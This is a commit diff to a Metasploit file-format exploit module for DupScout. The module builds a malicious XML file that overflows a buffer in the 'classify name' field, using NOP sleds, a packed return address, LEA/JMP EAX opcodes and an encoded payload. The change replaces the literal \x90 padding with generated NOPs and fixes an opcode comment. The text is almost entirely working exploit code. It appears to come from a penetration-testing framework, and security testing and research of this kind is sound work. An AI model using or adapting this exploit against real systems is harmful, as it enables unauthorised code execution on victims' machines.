Modified DupScout Fileformat Exploit

Author: jrobles-r7

modules/exploits/windows/fileformat/dupscout_xml.rb

@@ -51,18 +51,20 @@ def initialize(info = {})
   end
 
   def exploit
+    nops = make_nops(1000)*5
+
     esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
-    jmp = "\xFF\xE0" # JMP ESP
+    jmp = "\xFF\xE0" # JMP EAX
 
     buffer =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
-    buffer << "\x90" * 1560
+    buffer << nops[0,1560]
     buffer << [target.ret].pack('V')
-    buffer << "\x90" * 16
+    buffer << nops[0,16]
     buffer << esp
     buffer << jmp
-    buffer << "\x90" * 70
+    buffer << nops[0,70]
     buffer << payload.encoded
-    buffer << "\x90" * 5000
+    buffer << nops
     buffer << "\n</classify>"
 
     print_status("Creating '#{datastore['FILENAME']}' file ...")